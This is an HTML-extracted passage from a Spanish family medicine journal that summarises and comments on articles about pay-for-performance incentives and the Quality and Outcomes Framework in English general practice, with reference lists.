<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Valorar los aspectos cruciales para los médicos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">generales ingleses en lo que respecta a la mejora de sus servicios</p>
<p align="left">en un entorno cambiante, tanto desde el punto de vista</p>
<p align="left">político como social. Prever la respuesta a nuevas iniciativas</p>
<p align="left">políticas y a nuevas necesidades sociales.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Revisión y análisis de la actividad de los</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">médicos generales ingleses mediante la valoración de los mayores</p>
<p align="left">problemas actuales, las condiciones sociales y políticas</p>
<p align="left">que los condicionan, y las probabilidades de introducir cambios.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Se trata de un trabajo colectivo, dirigido por los</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">responsables del RCGP. Han participado tanto pacientes como</p>
<p align="left">médicos generales en ejercicio. También otros profesionales</p>
<p align="left">sanitarios, responsables políticos y científicos.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Con este documento, el RCGP intenta dar respuesta</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">a la presión social y política en el Reino Unido para</p>
<p align="left">lograr un trabajo más eficiente de los médicos generales. En</p>
<p align="left">concreto, reconocen el enorme impacto en la actividad clínica</p>
<p align="left">diaria de los nuevos incentivos por rendimiento (P4P) incluidos</p>
<p align="left">en el contrato, el Quality and Outcomes Framework. Para acceder</p>
<p align="left">a estos fortísimos incentivos (de hasta 95.000 euros brutos</p>
<p align="left">al año, para un centro de salud típico con tres médicos a tiempo</p>
<p align="left">completo y unos 5.500 pacientes) se tiene que responder a</p>
<p align="left">151 indicadores de calidad. Estos indicadores son clínicos</p>
<p align="left">(81 en total, tipo «consejo contra el tabaco»), de organización</p>
<p align="left">(56 en total, tipo «tiempo máximo para obtener cita con su</p>
<p align="left">médico de cabecera»), de servicios adicionales (10 en total) y de</p>
<p align="left">valoración del paciente (4 en total). El peligro es que la actividad</p>
<p align="left">se centre en el puro registro electrónico que da acceso a</p>
<p align="left">los incentivos, y que ello cambie el foco de interés sobre el</p>
<p align="left">paciente y disminuya el profesionalismo médico (su independencia</p>
<p align="left">y autoestima). El texto propone cambios que lleven a un</p>
<p align="left">médico general polivalente, muy resolutivo y comprometido</p>
<p align="left">con el trabajo clínico.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">La medicina general en el Reino Unido está sometida a tales</p>
<p align="left">presiones que ya no es un modelo estimulante. La innovación</p>
<p>se ha convertido en una moda en sí. De ahí que haya voces críticas</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1,2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Incluso se habla de desmantelamiento de la medicina</p>
<p>general</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">3,4</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. Es comprensible el esfuerzo del RCGP por poner un</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">poco de orden en este caos innovador.</p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Fleetcroft R, Cookson R. Do the incentive payments in the new NHS contract</p>
<p align="left">for primary care reflect population health gains? J Health Serv Res</p>
<p align="left">Policy. 2006;11:27-31.</p>
<p align="left">2. Gérvas J, Starfield B, Violán C, Minué S. GPs with special interests: unanswered</p>
<p align="left">questions. Br J Gen Pract. 2007;57:912-7.</p>
<p align="left">3. Elwyn G, Taubert M, Checkland K, Williams S. Lost in the global sum? Br J</p>
<p align="left">Gen Pract. 2007;57:439-40.</p>
<p align="left">4. Jones R. Dismantling general practice. Br J Gen Pract. 2007;57:860-1.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Lester H, Roland M. Future of quality measurements. BMJ.</p>
<p align="left">2007;335:1130-1.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El pago por calidad basado en la medición de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">indicadores relacionados con el desempeño es moda duradera.</p>
<p align="left">En el Reino Unido los médicos generales y su colegio pueden</p>
<p align="left">verlo como una amenaza a la calidad clínica, pero el futuro del</p>
<p align="left">pago por rendimiento está asegurado.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Valorar la posible evolución inmediata del pago</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">por rendimiento en el Reino Unido.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Análisis teórico por dos figuras clave de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">la negociación práctica de los contratos que implementan el</p>
<p align="left">pago por rendimiento.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Presentación del desarrollo histórico, valoración</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de los resultados y consideración de los problemas más importantes</p>
<p align="left">a resolver en la aplicación práctica del pago por calidad</p>
<p align="left">(por desempeño).</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El pago por desempeño se introdujo en 2004,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">y se corrigió por primera vez en 2006. En 2008 está en marcha</p>
<p>una nueva revisión. Se introdujo por: </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">a) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">la constatación de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">variabilidad en la calidad clínica, <em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">b) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">la posibilidad tecnológicade medir indicadores del desempeño, y </font></font></p>
<p></font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">c) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">una política de aumento</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de la inversión en medicina general a través de mejoras</p>
<p align="left">en la calidad. Hay muchas posibilidades para la revisión de los</p>
<p align="left">indicadores, desde dejarlos como están hasta añadir más y más,</p>
<p align="left">o mejorar globalmente el conjunto, o eliminar lo que ya se ha</p>
<p align="left">logrado, o rotar entre los indicadores para forzar las áreas de</p>
<p align="left">mejora. Los autores tienen experiencia práctica en la discusión</p>
<p align="left">de los indicadores, tanto en la fases previas (Martin Roland)</p>
<p align="left">como en la actual (Helen Lester), y en su opinión lo mejor sería</p>
<p align="left">rotar entre los indicadores para lograr que se fueran mejorando</p>
<p align="left">distintas áreas en que se crea conveniente mejorar la calidad</p>
<p align="left">de la atención. Proponen mejorar los indicadores sobre</p>
<p align="left">cuestiones como aspectos interpersonales en la atención y</p>
<p align="left">aspectos relacionados con la equidad.</p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">65 AMF 2008;4(6):344-352 <strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1">349</font></font></strong></p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance»</font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">) [P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Qué se prevé en el próximo futuro sobre el pago por</p>
<p align="left">desempeño en el Reino Unido?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Más pago por calidad, con énfasis en aspectos de la relación</p>
<p align="left">interpersonal y de la equidad.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 7</p>
<p align="left">EL FUTURO DEL PAGO POR RENDIMIENTO</p>
<p align="left">EN LA MEDICINA GENERAL INGLESA</p>
<p align="left">Comentario</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Los indicadores de la calidad del desempeño miden el desempeño</p>
<p align="left">medido (y no es un trabalenguas, sino una constatación).</p>
<p align="left">Lamentablemente, no sabemos mucho sobre el impacto</p>
<p align="left">en el desarrollo profesional, la relación entre médico y paciente</p>
<p align="left">ni la salud de los pacientes y la población. Los firmantes son</p>
<p>«creyentes» de los beneficios del pago por rendimiento</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">, y</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">lamentablemente en este texto no ponen en duda su bondad,</p>
<p>tanto en lo que se refiere a efectividad</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2 </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">como a impacto en la</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">salud de la población<font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">3</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Roland M. Linking physician pay to quality of care: a major experiment in</p>
<p align="left">the UK. N Engl J Med. 2004;351:1448-54.</p>
<p align="left">2. Peterson LA, Woodard LD, Urech T, Daw C, Sookanan S. Does pay-for-performance</p>
<p align="left">improve the quality of health care? Ann Intern Med.</p>
<p align="left">2006;145:265-72.</p>
<p align="left">3. Fleetcroft R, Cookson R. Do the incentive payments in the new NHS contract</p>
<p align="left">for primary care reflect population health gains? J Health Serv Res</p>
<p align="left">Policy. 2006;11:27-31.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Gérvas J, Ortún V, Palomo L, Ripoll MA. Seminario de</p>
<p align="left">Innovación en Atención Primaria 2007. Incentivos en</p>
<p align="left">atención primaria: de la contención del gasto a la salud de</p>
<p align="left">la población. Rev Esp Salud Pública. 2007;81:589-96.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los incentivos monetarios son poderosos modificadores</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">de la conducta clínica, y muchas veces</p>
<p align="left">se introducen como simples métodos para el control del gasto,</p>
<p align="left">sin valorar las consecuencias sobre la salud de la población.</p>
